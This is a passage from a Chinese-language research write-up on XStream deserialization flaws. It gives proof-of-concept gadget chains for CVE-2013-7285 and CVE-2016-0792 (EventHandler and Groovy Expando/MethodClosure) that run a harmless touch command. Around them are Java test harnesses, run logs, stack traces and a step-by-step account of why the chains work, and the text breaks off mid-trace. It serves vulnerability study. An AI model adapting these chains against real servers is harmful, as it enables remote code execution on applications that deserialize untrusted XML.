writer.addAttribute( "gender", Character.toString( obj.getGender() ) ); } if ( obj.getPerson() != null ) { writer.startNode( "person" ); context.convertAnother( obj.getPerson() ); writer.endNode(); } if ( obj.getCalendar() != null ) { writer.startNode( "birthday" ); context.convertAnother( obj.getCalendar() ); writer.endNode(); } } public Object unmarshal ( final HierarchicalStreamReader reader, final UnmarshallingContext context ) { Birthday obj = new Birthday(); String gender = reader.getAttribute( "gender" ); if ( gender != null ) { if ( gender.length() > 0 ) { if ( gender.charAt(0) == 'f' ) { obj.setGender( 'f' ); } else if ( gender.charAt(0) == 'm' ) { obj.setGender( 'm' ); } else { throw new ConversionException( "Invalid gender value: " + gender ); } } else { throw new ConversionException( "Empty string is invalid gender value" ); } } while ( reader.hasMoreChildren() ) { reader.moveDown(); if ( "person".equals( reader.getNodeName() ) ) { Person person = ( Person )context.convertAnother( obj, Person.class ); obj.setPerson( person ); } else if ( "birthday".equals( reader.getNodeName() ) ) { Calendar calendar = ( Calendar )context.convertAnother( obj, Calendar.class ); obj.setCalendar( calendar ); } reader.moveUp(); } return( obj ); } } -------------------------------------------------------------------------- 11.4) SerializeBirthday.java -------------------------------------------------------------------------- /* * javac -encoding GBK -g -cp "xstream-1.4.10.jar:." SerializeBirthday.java * java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:." SerializeBirthday Birthday.xml 0 * java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:." SerializeBirthday BirthdayX.xml 0 x * java -cp "xstream-1.4.10.jar:." SerializeBirthday Birthday.xml 1 * java -cp "xstream-1.4.10.jar:." SerializeBirthday Birthday.xml 2 */ import java.io.*; import java.util.*; import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.io.xml.*; public class SerializeBirthday { private static XStream GetXStream ( int mode, boolean usec ) { XStream xs; switch ( mode ) { case 0 : xs = new XStream(); break; case 1 : xs = new XStream( new DomDriver() ); break; default: xs = new XStream( new StaxDriver() ); break; } if ( usec ) { /* * 将来用,而不是 */ xs.alias( "someone", Birthday.class ); xs.registerConverter( new BirthdayConverter() ); } return( xs ); } public static void main ( String[] argv ) throws Exception { Birthday obj = new Birthday ( new Person( "yoda" ), Calendar.getInstance(), 'm' ); boolean usec = ( argv.length > 2 ) ? true : false; /* * System.out.println( "argv.length = " + argv.length ); */ int mode = Integer.parseInt( argv[1] ); FileOutputStream fos = new FileOutputStream( argv[0] ); XStream xs = GetXStream( mode, usec ); xs.toXML( obj, fos ); fos.close(); } } -------------------------------------------------------------------------- $ java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:." SerializeBirthday Birthday.xml 0 $ cat Birthday.xml yoda Asia/Shanghai m 这是没有使用Converter时生成的XML。 $ java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:." SerializeBirthday BirthdayX.xml 0 x $ cat BirthdayX.xml yoda Asia/Shanghai 这是使用Converter后生成的XML。 11.5) DeserializeBirthday.java -------------------------------------------------------------------------- /* * javac -encoding GBK -g -cp "xstream-1.4.10.jar:." DeserializeBirthday.java * java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeBirthday Birthday.xml 0 * java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeBirthday BirthdayX.xml 0 x * java -cp "xstream-1.4.10.jar:xmlpull-1.1.3.1.jar:." DeserializeBirthday Birthday.xml 1 * java -cp "xstream-1.4.10.jar:xmlpull-1.1.3.1.jar:." DeserializeBirthday Birthday.xml 2 */ import java.io.*; import java.beans.EventHandler; import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.io.xml.*; public class DeserializeBirthday { private static XStream GetXStream ( int mode, boolean usec, String[] pattern ) { XStream xs; switch ( mode ) { case 0 : xs = new XStream(); break; case 1 : xs = new XStream( new DomDriver() ); break; default: xs = new XStream( new StaxDriver() ); break; } if ( usec ) { xs.alias( "someone", Birthday.class ); xs.registerConverter( new BirthdayConverter() ); } xs.setupDefaultSecurity( xs ); xs.allowTypesByRegExp( pattern ); return( xs ); } public static void main ( String[] argv ) throws Exception { boolean usec = ( argv.length > 2 ) ? true : false; int mode = Integer.parseInt( argv[1] ); FileInputStream fis = new FileInputStream( argv[0] ); String[] pattern = new String[] { "Birthday" }; XStream xs = GetXStream( mode, usec, pattern ); Birthday obj = ( Birthday )xs.fromXML( fis ); fis.close(); System.out.println ( String.format ( "name = %s\n" + "birth = %s\n" + "gender = %c", obj.getPerson(), /* * 用getTime()将Calendar转成Date,后者应该重载过toString() */ obj.getCalendar().getTime(), obj.getGender() ) ); } } -------------------------------------------------------------------------- $ java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." Desrthday Birthday.xml 0 name = yoda birth = Thu Dec 05 15:13:09 CST 2019 gender = m $ java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeBirthday BirthdayX.xml 0 x name = yoda birth = Thu Dec 05 15:13:14 CST 2019 gender = m 12) 基于tree-map的PoC(tree-map.xml) 参[10] -------------------------------------------------------------------------- anykey anyval java.lang.Comparable /bin/bash -c /bin/touch /tmp/scz_is_here start something -------------------------------------------------------------------------- 这个PoC适用于如下版本的XStream: 1.4-1.4.6 1.4.10 $ java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeUsingXStream1 tree-map.xml 0 Security framework of XStream not initialized, XStream is probably vulnerable. Exception in thread "main" com.thoughtworks.xstream.converters.ConversionException: ---- Debugging information ---- cause-exception : java.lang.ClassCastException cause-message : java.lang.UNIXProcess cannot be cast to java.lang.Integer class : java.util.TreeMap required-type : java.util.TreeMap converter-type : com.thoughtworks.xstream.converters.collections.TreeMapConverter path : /tree-map line number : 22 version : 1.4.10 ------------------------------- at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:79) at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:70) at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66) at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:50) at com.thoughtworks.xstream.core.TreeUnmarshaller.start(TreeUnmarshaller.java:134) at com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy.unmarshal(AbstractTreeMarshallingStrategy.java:32) at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1486) at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1466) at com.thoughtworks.xstream.XStream.fromXML(XStream.java:1346) at DeserializeUsingXStream1.main(DeserializeUsingXStream1.java:43) Caused by: java.lang.ClassCastException: java.lang.UNIXProcess cannot be cast to java.lang.Integer at com.sun.proxy.$Proxy0.compareTo(Unknown Source) at java.util.TreeMap.put(TreeMap.java:568) at java.util.AbstractMap.putAll(AbstractMap.java:281) at java.util.TreeMap.putAll(TreeMap.java:327) at com.thoughtworks.xstream.converters.collections.TreeMapConverter.populateTreeMap(TreeMapConverter.java:122) at com.thoughtworks.xstream.converters.collections.TreeMapConverter.unmarshal(TreeMapConverter.java:79) at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72) ... 9 more $ java -cp "xstream-1.4.11.1.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeUsingXStream1 tree-map.xml 0 Security framework of XStream not initialized, XStream is probably vulnerable. Exception in thread "main" com.thoughtworks.xstream.converters.ConversionException: Security alert. Unmarshalling rejected. ---- Debugging information ---- message : Security alert. Unmarshalling rejected. class : java.beans.EventHandler required-type : java.beans.EventHandler converter-type : com.thoughtworks.xstream.XStream$InternalBlackList path : /tree-map/entry[2]/dynamic-proxy/handler line number : 9 class[1] : com.thoughtworks.xstream.mapper.DynamicProxyMapper$DynamicProxy required-type[1] : com.thoughtworks.xstream.mapper.DynamicProxyMapper$DynamicProxy converter-type[1] : com.thoughtworks.xstream.converters.extended.DynamicProxyConverter class[2] : java.util.TreeMap required-type[2] : java.util.TreeMap converter-type[2] : com.thoughtworks.xstream.converters.collections.TreeMapConverter version : 1.4.11.1 ------------------------------- at com.thoughtworks.xstream.XStream$InternalBlackList.unmarshal(XStream.java:2560) at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72) at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:72) at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66) at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:50) at com.thoughtworks.xstream.converters.extended.DynamicProxyConverter.unmarshal(DynamicProxyConverter.java:127) at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72) at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:72) at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66) at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:50) at com.thoughtworks.xstream.converters.collections.AbstractCollectionConverter.readBareItem(AbstractCollectionConverter.java:132) at com.thoughtworks.xstream.converters.collections.AbstractCollectionConverter.readItem(AbstractCollectionConverter.java:117) at com.thoughtworks.xstream.converters.collections.AbstractCollectionConverter.readCompleteItem(AbstractCollectionConverter.java:147) at com.thoughtworks.xstream.converters.collections.MapConverter.putCurrentEntryIntoMap(MapConverter.java:105) at com.thoughtworks.xstream.converters.collections.MapConverter.populateMap(MapConverter.java:98) at com.thoughtworks.xstream.converters.collections.TreeMapConverter.populateTreeMap(TreeMapConverter.java:116) at com.thoughtworks.xstream.converters.collections.TreeMapConverter.unmarshal(TreeMapConverter.java:79) at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72) at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:72) at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66) at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:50) at com.thoughtworks.xstream.core.TreeUnmarshaller.start(TreeUnmarshaller.java:134) at com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy.unmarshal(AbstractTreeMarshallingStrategy.java:32) at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1487) at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1467) at com.thoughtworks.xstream.XStream.fromXML(XStream.java:1347) at DeserializeUsingXStream1.main(DeserializeUsingXStream1.java:43) 12.1) TreeMapConverter http://x-stream.github.io/javadoc/com/thoughtworks/xstream/converters/collections/TreeMapConverter.html Converts a java.util.TreeMap to XML, and serializes the associated java.util.Comparator. The converter assumes that the entries in the XML are already sorted according the comparator. 12.2) ProcessBuilder.start()调用栈回溯 $ java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeUsingXStream1 tree-map.xml 0 $ jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005 stop in java.lang.ProcessBuilder.start [1] java.lang.ProcessBuilder.start (ProcessBuilder.java:1,007), pc = 0 [2] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [3] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [4] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [5] java.lang.reflect.Method.invoke (Method.java:498), pc = 56 [6] sun.reflect.misc.Trampoline.invoke (MethodUtil.java:71), pc = 7 [7] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [8] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [9] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [10] java.lang.reflect.Method.invoke (Method.java:498), pc = 56 [11] sun.reflect.misc.MethodUtil.invoke (MethodUtil.java:275), pc = 20 [12] java.beans.EventHandler.invokeInternal (EventHandler.java:482), pc = 418 [13] java.beans.EventHandler.access$000 (EventHandler.java:279), pc = 4 [14] java.beans.EventHandler$1.run (EventHandler.java:430), pc = 16 [15] java.security.AccessController.doPrivileged (native method) [16] java.beans.EventHandler.invoke (EventHandler.java:428), pc = 40 [17] com.sun.proxy.$Proxy0.compareTo (null), pc = 16 [18] java.util.TreeMap.put (TreeMap.java:568), pc = 141 [19] java.util.AbstractMap.putAll (AbstractMap.java:281), pc = 44 [20] java.util.TreeMap.putAll (TreeMap.java:327), pc = 101 [21] com.thoughtworks.xstream.converters.collections.TreeMapConverter.populateTreeMap (TreeMapConverter.java:122), pc = 107 [22] com.thoughtworks.xstream.converters.collections.TreeMapConverter.unmarshal (TreeMapConverter.java:79), pc = 62 [23] com.thoughtworks.xstream.core.TreeUnmarshaller.convert (TreeUnmarshaller.java:72), pc = 15 [24] com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert (AbstractReferenceUnmarshaller.java:70), pc = 236 [25] com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother (TreeUnmarshaller.java:66), pc = 82 [26] com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother (TreeUnmarshaller.java:50), pc = 4 [27] com.thoughtworks.xstream.core.TreeUnmarshaller.start (TreeUnmarshaller.java:134), pc = 20 [28] com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy.unmarshal (AbstractTreeMarshallingStrategy.java:32), pc = 15 [29] com.thoughtworks.xstream.XStream.unmarshal (XStream.java:1,486), pc = 36 [30] com.thoughtworks.xstream.XStream.unmarshal (XStream.java:1,466), pc = 4 [31] com.thoughtworks.xstream.XStream.fromXML (XStream.java:1,346), pc = 12 [32] DeserializeUsingXStream1.main (DeserializeUsingXStream1.java:43), pc = 25 出现"com.sun.proxy.$Proxy0.compareTo()"。 13) CVE-2013-7285 参看: http://x-stream.github.io/CVE-2013-7285.html 这个漏洞适用于如下版本的XStream: 1.4-1.4.6 1.4.10 13.1) TicketService.xml 参[10] -------------------------------------------------------------------------- TicketService /bin/bash -c /bin/touch /tmp/scz_is_here start -------------------------------------------------------------------------- 为了利用这个洞,必须知道服务端反序列化得到哪个接口,并且假设服务端在反序列 化之后会调用该接口声明的方法。 13.2) DeserializeTicketService.java -------------------------------------------------------------------------- /* * javac -encoding GBK -g -cp "xstream-1.4.10.jar:." DeserializeTicketService.java * java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeTicketService TicketService.xml 0 * java -cp "xstream-1.4.10.jar:xmlpull-1.1.3.1.jar:." DeserializeTicketService TicketService.xml 1 * java -cp "xstream-1.4.10.jar:xmlpull-1.1.3.1.jar:." DeserializeTicketService TicketService.xml 2 */ import java.io.*; import java.beans.EventHandler; import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.io.xml.*; public class DeserializeTicketService { private static XStream GetXStream ( int mode ) { XStream xs; switch ( mode ) { case 0 : xs = new XStream(); break; case 1 : xs = new XStream( new DomDriver() ); break; default: xs = new XStream( new StaxDriver() ); break; } return( xs ); } public static void main ( String[] argv ) throws Exception { int mode = Integer.parseInt( argv[1] ); FileInputStream fis = new FileInputStream( argv[0] ); XStream xs = GetXStream( mode ); TicketService obj = ( TicketService )xs.fromXML( fis ); fis.close(); obj.SellTicket(); } } -------------------------------------------------------------------------- $ java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeTicketService TicketService.xml 0 Security framework of XStream not initialized, XStream is probably vulnerable. 不会报错,正常结束。 $ ls -l /tmp/scz_is_here 13.3) ProcessBuilder.start()调用栈回溯 $ java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeTicketService TicketService.xml 0 $ jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005 stop in java.lang.ProcessBuilder.start [1] java.lang.ProcessBuilder.start (ProcessBuilder.java:1,007), pc = 0 [2] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [3] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [4] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [5] java.lang.reflect.Method.invoke (Method.java:498), pc = 56 [6] sun.reflect.misc.Trampoline.invoke (MethodUtil.java:71), pc = 7 [7] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [8] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [9] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [10] java.lang.reflect.Method.invoke (Method.java:498), pc = 56 [11] sun.reflect.misc.MethodUtil.invoke (MethodUtil.java:275), pc = 20 [12] java.beans.EventHandler.invokeInternal (EventHandler.java:482), pc = 418 [13] java.beans.EventHandler.access$000 (EventHandler.java:279), pc = 4 [14] java.beans.EventHandler$1.run (EventHandler.java:430), pc = 16 [15] java.security.AccessController.doPrivileged (native method) [16] java.beans.EventHandler.invoke (EventHandler.java:428), pc = 40 [17] com.sun.proxy.$Proxy0.SellTicket (null), pc = 9 [18] DeserializeTicketService.main (DeserializeTicketService.java:40), pc = 39 出现"com.sun.proxy.$Proxy0.SellTicket()"。 14) CVE-2016-0792(XStream+Groovy) 14.1) map_old.xml 参[13] CVE-2016-0792需要XStream+Groovy,CVE-2013-7285只需要XStream。 -------------------------------------------------------------------------- hashCode /bin/bash -c /bin/touch /tmp/scz_is_here false 0 0 0 start 1 -------------------------------------------------------------------------- 14.2) map.xml map_old.xml是网上看来的,map.xml是我实测后精简的。 -------------------------------------------------------------------------- hashCode /bin/bash -c /bin/touch /tmp/scz_is_here start 0 -------------------------------------------------------------------------- 参[12],需要groovy-all-2.3.9.jar。 $ java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:groovy-all-2.3.9.jar:." DeserializeUsingXStream1 map.xml 0 Security framework of XStream not initialized, XStream is probably vulnerable. Exception in thread "main" com.thoughtworks.xstream.converters.ConversionException: ---- Debugging information ---- cause-exception : java.lang.ClassCastException cause-message : java.lang.UNIXProcess cannot be cast to java.lang.Integer class : java.util.HashMap required-type : java.util.HashMap converter-type : com.thoughtworks.xstream.converters.collections.MapConverter path : /map/entry line number : 20 version : 1.4.10 ------------------------------- at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:79) at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:70) at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66) at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:50) at com.thoughtworks.xstream.core.TreeUnmarshaller.start(TreeUnmarshaller.java:134) at com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy.unmarshal(AbstractTreeMarshallingStrategy.java:32) at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1486) at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1466) at com.thoughtworks.xstream.XStream.fromXML(XStream.java:1346) at DeserializeUsingXStream1.main(DeserializeUsingXStream1.java:43) Caused by: java.lang.ClassCastException: java.lang.UNIXProcess cannot be cast to java.lang.Integer at groovy.util.Expando.hashCode(Expando.java:157) at java.util.HashMap.hash(HashMap.java:339) at java.util.HashMap.put(HashMap.java:612) at com.thoughtworks.xstream.converters.collections.MapConverter.putCurrentEntryIntoMap(MapConverter.java:113) at com.thoughtworks.xstream.converters.collections.MapConverter.populateMap(MapConverter.java:98) at com.thoughtworks.xstream.converters.collections.MapConverter.populateMap(MapConverter.java:92) at com.thoughtworks.xstream.converters.collections.MapConverter.unmarshal(MapConverter.java:87) at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72) ... 9 more $ ls -l /tmp/scz_is_here 14.2.1) ProcessBuilder.start()调用栈回溯 $ java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:groovy-all-2.3.9.jar:." DeserializeUsingXStream1 map.xml 0 $ jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005 stop in java.lang.ProcessBuilder.start [1] java.lang.ProcessBuilder.start (ProcessBuilder.java:1,007), pc = 0 [2] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [3] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [4] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [5] java.lang.reflect.Method.invoke (Method.java:498), pc = 56 [6] org.codehaus.groovy.reflection.CachedMethod.invoke (CachedMethod.java:90), pc = 6 [7] groovy.lang.MetaMethod.doMethodInvoke (MetaMethod.java:324), pc = 9 [8] groovy.lang.MetaClassImpl.invokeMethod (MetaClassImpl.java:1,207), pc = 1,076 [9] groovy.lang.MetaClassImpl.invokeMethod (MetaClassImpl.java:1,074), pc = 243 [10] groovy.lang.MetaClassImpl.invokeMethod (MetaClassImpl.java:1,016), pc = 10 [11] groovy.lang.Closure.call (Closure.java:423), pc = 8 [12] groovy.lang.Closure.call (Closure.java:417), pc = 6 [13] groovy.util.Expando.hashCode (Expando.java:157), pc = 34 [14] java.util.HashMap.hash (HashMap.java:339), pc = 9 [15] java.util.HashMap.put (HashMap.java:612), pc = 2 [16] com.thoughtworks.xstream.converters.collections.MapConverter.putCurrentEntryIntoMap (MapConverter.java:113), pc = 48 [17] com.thoughtworks.xstream.converters.collections.MapConverter.populateMap (MapConverter.java:98), pc = 21 [18] com.thoughtworks.xstream.converters.collections.MapConverter.populateMap (MapConverter.java:92), pc = 5 [19] com.thoughtworks.xstream.converters.collections.MapConverter.unmarshal (MapConverter.java:87), pc = 18 [20] com.thoughtworks.xstream.core.TreeUnmarshaller.convert (TreeUnmarshaller.java:72), pc = 15 [21] com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert (AbstractReferenceUnmarshaller.java:70), pc = 236 [22] com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother (TreeUnmarshaller.java:66), pc = 82 [23] com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother (TreeUnmarshaller.java:50), pc = 4 [24] com.thoughtworks.xstream.core.TreeUnmarshaller.start (TreeUnmarshaller.java:134), pc = 20 [25] com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy.unmarshal (AbstractTreeMarshallingStrategy.java:32), pc = 15 [26] com.thoughtworks.xstream.XStream.unmarshal (XStream.java:1,486), pc = 36 [27] com.thoughtworks.xstream.XStream.unmarshal (XStream.java:1,466), pc = 4 [28] com.thoughtworks.xstream.XStream.fromXML (XStream.java:1,346), pc = 12 [29] DeserializeUsingXStream1.main (DeserializeUsingXStream1.java:43), pc = 25 14.2.2) MapConverter http://x-stream.github.io/javadoc/com/thoughtworks/xstream/converters/collections/MapConverter.html Converts a java.util.Map to XML, specifying an 'entry' element with 'key' and 'value' children. 14.2.9) 简化版调用关系 -------------------------------------------------------------------------- XStream.fromXML:1346 XStream.unmarshal:1486 TreeUnmarshaller.convertAnother:56 DefaultConverterLookup.lookupConverterForType:61 // MapConverter for java.util.HashMap TreeUnmarshaller.convertAnother:66 MapConverter.unmarshal:87 TreeUnmarshaller.convertAnother:56 DefaultConverterLookup.lookupConverterForType:61 // ReflectionConverter for groovy.util.Expando // SingleValueConverterWrapper for java.lang.Integer TreeUnmarshaller.convertAnother:66 AbstractReflectionConverter.unmarshal:281 TreeUnmarshaller.convertAnother:66 MapConverter.unmarshal:87 TreeUnmarshaller.convertAnother:56 DefaultConverterLookup.lookupConverterForType:61 // SingleValueConverterWrapper for java.lang.String // ReflectionConverter for org.codehaus.groovy.runtime.MethodClosure TreeUnmarshaller.convertAnother:66 AbstractReflectionConverter.unmarshal:281 TreeUnmarshaller.convertAnother:56 DefaultConverterLookup.lookupConverterForType:61 // ReflectionConverter for java.lang.ProcessBuilder TreeUnmarshaller.convertAnother:66 AbstractReflectionConverter.unmarshal:281 TreeUnmarshaller.convertAnother:56 DefaultConverterLookup.lookupConverterForType:61 // CollectionConverter for java.util.ArrayList java.util.HashMap.put:612 java.util.HashMap.hash:339 groovy.util.Expando.hashCode groovy.lang.Closure.call groovy.lang.MetaMethod.doMethodInvoke java.lang.ProcessBuilder.start -------------------------------------------------------------------------- 14.3) CVE-2016-0792漏洞利用原理 http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/java/util/HashMap.java -------------------------------------------------------------------------- /** * Associates the specified value with the specified key in this map. * If the map previously contained a mapping for the key, the old * value is replaced. * * @param key key with which the specified value is to be associated * @param value value to be associated with the specified key * @return the previous value associated with key, or * null if there was no mapping for key. * (A null return can also indicate that the map * previously associated null with key.) */ public V put(K key, V value) { /* * 612行 */ return putVal(hash(key), key, value, false, true); } -------------------------------------------------------------------------- /** * Computes key.hashCode() and spreads (XORs) higher bits of hash * to lower. Because the table uses power-of-two masking, sets of * hashes that vary only in bits above the current mask will * always collide. (Among known examples are sets of Float keys * holding consecutive whole numbers in small tables.) So we * apply a transform that spreads the impact of higher bits * downward. There is a tradeoff between speed, utility, and * quality of bit-spreading. Because many common sets of hashes * are already reasonably distributed (so don't benefit from * spreading), and because we use trees to handle large sets of * collisions in bins, we just XOR some shifted bits in the * cheapest possible way to reduce systematic lossage, as well as * to incorporate impact of the highest bits that would otherwise * never be used in index calculations because of table bounds. */ static final int hash(Object key) { int h; /* * 339行,会调用key.hashCode(),而key是外部传入的 */ return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); } -------------------------------------------------------------------------- https://github.com/andreyvit/groovy/blob/master/groovy/groovy-core/src/main/groovy/util/Expando.java groovy.util.Expando.hashCode() -------------------------------------------------------------------------- /** * This allows hashCode to be overridden by a closure field method attached * to the expando object. * * @see java.lang.Object#hashCode() */ public int hashCode() { Object method = getProperties().get("hashCode"); if (method != null && method instanceof Closure) { // invoke overridden hashCode closure method Closure closure = (Closure) method; closure.setDelegate(this); Integer ret = (Integer) closure.call(); return ret.intValue(); } else { return super.hashCode(); } } -------------------------------------------------------------------------- If the Expando has a Closure that's supposed to figure out the hash code, the Expando will call that Closure and return its output. Closure is abstract. We'll give it a MethodClosure! A MethodClosure is a wrapper that calls an arbitrary class and method name. We'll create a method closure that calls start() on a java.lang.ProcessBuilder. 14.3.1) 与InternalBlackList无关 CVE-2013-7285用到"java.beans.EventHandler",后来XStream针对 "java.beans.EventHandler"做了安全限制,使得利用链被阻断。 CVE-2016-0792找到"java.beans.EventHandler"的替代品,来自Groovy的 "groovy.util.Expando";缺点是需要除XStream之外的Groovy库在classpath上。 map.xml不涉及"java.beans.EventHandler",寻找Converter时不会命中: com.thoughtworks.xstream.XStream$InternalBlackList 仍然命中ReflectionConverter。即使使用1.4.11.1版XStream,CVE-2016-0792仍能 被成功利用: $ java -cp "xstream-1.4.11.1.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:groovy-all-2.3.9.jar:." DeserializeUsingXStream1 map.xml 0 14.4) groovy-all-2.4.9.jar无法利用成功 $ java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:groovy-all-2.4.9.jar:." DeserializeUsingXStream1 map.xml 0 Security framework of XStream not initialized, XStream is probably vulnerable. Exception in thread "main" com.thoughtworks.xstream.converters.ConversionException: Cannot deserialize object with new readObject()/writeObject() methods ---- Debugging information ---- message : Cannot deserialize object with new readObject()/writeObject() methods class : org.codehaus.groovy.runtime.MethodClosure required-type : org.codehaus.groovy.runtime.MethodClosure converter-type : com.thoughtworks.xstream.converters.reflection.SerializableConverter path : /map/entry/groovy.util.Expando/expandoProperties/entry/org.codehaus.groovy.runtime.MethodClosure line number : 7 class[1] : java.util.HashMap converter-type[1] : com.thoughtworks.xstream.converters.collections.MapConverter class[2] : groovy.util.Expando converter-type[2] : com.thoughtworks.xstream.converters.reflection.ReflectionConverter version : 1.4.10 ------------------------------- at com.thoughtworks.xstream.converters.reflection.SerializableConverter.doUnmarshal(SerializableConverter.java:318) at com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.unmarshal(AbstractReflectionConverter.java:281) at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72) at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:70) at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66) at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:50) at com.thoughtworks.xstream.converters.collections.AbstractCollectionConverter.readItem(AbstractCollectionConverter.java:73) at com.thoughtworks.xstream.converters.collections.MapConverter.putCurrentEntryIntoMap(MapConverter.java:110) at com.thoughtworks.xstream.converters.collections.MapConverter.populateMap(MapConverter.java:98) at com.thoughtworks.xstream.converters.collections.MapConverter.populateMap(MapConverter.java:92) at 